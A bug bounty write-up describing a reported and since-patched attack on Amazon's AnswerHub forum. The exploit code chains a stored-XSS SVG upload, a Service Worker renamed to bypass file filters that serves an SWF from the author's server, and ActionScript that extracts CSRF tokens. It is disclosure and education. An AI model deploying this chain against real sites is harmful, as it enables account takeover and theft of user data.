Introduction

Hello all, I have some free time today, so I will tell you about my finding at Amazon that could have led to a complete account takeover.

Background

I was working on a private bug bounty program when I found something interesting. The platform used AnswerHub, a third-party service I had encountered before. Since I had already discovered vulnerabilities in AnswerHub, I knew it was worth revisiting. I started by testing its upload functionality, and within a short time, I found a stored XSS vulnerability via file upload. Although the domain was out-of-scope, I demonstrated how it could affect an in-scope domain, which earned me a $1250 bounty.

While working on this, I noticed that Amazon also used AnswerHub. Since Amazon’s crossdomain.xml was very permissive, I considered a new attack vector: if I could upload an SWF file on an Amazon subdomain, I might be able to steal data from the main Amazon website. However, Amazon did not allow Flash content to be uploaded.

This led me to an alternative method—leveraging Service Workers to steal CSRF tokens from Amazon.com.

Technical Details

Most of you are probably here for the technical part rather than the backstory, so let’s get into the exploit step-by-step.

Finding the Target

I searched for big companies using AnswerHub using this Google Dork:

inurl:/questions/ask.html inurl:https://

Amazon appeared in the results, and their permissive crossdomain.xml caught my attention.

amazon

Failed SWF Upload

My target was gamedev.amazon.com. I attempted to upload an SWF file but was unsuccessful. However, I already had stored XSS using SVG file uploads. This gave me a new idea—using a Service Worker to proxy traffic and hijack requests.

Understanding the Service Worker API

A Service Worker is a script that runs in the background, separate from a web page. It can:

  • Intercept and modify network requests
  • Handle caching and offline access
  • Work independently of user interactions

For more details, check the MDN documentation: Service Worker API.

Exploit Development

Step 1: ActionScript for Extracting CSRF Tokens

I created an ActionScript file to request a specific Amazon page and extract the CSRF token.

import flash.external.*;
import flash.net.*;

(function () {
   var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
   loader.addEventListener("complete", loaderCompleted);
   function loaderCompleted(event) {
       ExternalInterface.call("alert", event.target.data.slice(189270,189335));
   }
})();

I hosted this on my server (ahussam.me) as myexp.as and used Flex SDK to generate the SWF file.

Step 2: JavaScript Service Worker

The Service Worker proxies requests and returns the SWF file when triggered.

var url = "https://ahussam.me/myexp.swf";
onfetch = (e) => {
  e.respondWith(fetch(url));
}

This installed myexp.swf on a specific path, enabling it to steal CSRF tokens from amazon.com.

Step 3: Uploading the Exploit

To bypass file type restrictions, I:

  • Renamed the JavaScript Service Worker as sw.txt
  • Changed the Content-Type
  • Uploaded it to Amazon’s AnswerHub

After upload, the file was renamed to 4837-sw.txt.

amazon

Step 4: Registering the Service Worker

I used an SVG file with JavaScript to register the Service Worker:

if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337);
}

I bypassed extension restrictions using content-type modification, and the HTTP request looked like this:

amazon

Step 5: Triggering the Exploit

Once installed, the Service Worker intercepted requests and served the SWF payload, which successfully extracted Amazon’s CSRF token.

Here’s the PoC URL:

https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt

After debugging (the Service Worker only works on HTTPS), the attack worked:

amazon

Reporting to Amazon

I reported the issue to Amazon’s security team, but they initially struggled to reproduce it due to the complexity of the exploit.

Then, they deleted my PoC and blocked me!

I created a PoC video, and after multiple follow-ups, they finally reproduced the vulnerability. However, after months of waiting, they never replied. I later discovered that the issue had been silently patched without any acknowledgment.

Conclusion

This attack could have led to:

  • Full account takeover (modifying user phone numbers)
  • CSRF attacks
  • Leaking sensitive user data
  • OAuth token hijacking
  • Address disclosure

Lessons Learned:

  • Service Workers can be a serious attack vector if misused.
  • Permissive crossdomain.xml files can lead to data leaks.
  • Bug bounty programs don’t always reward impactful reports.

Final Thoughts

I hope you found this write-up insightful. If you have any thoughts or questions, feel free to reach out!

Also, this method was used in the Cure53 XSSmas challenge, so if you’re interested, check out the solution write-up.

Thanks for reading!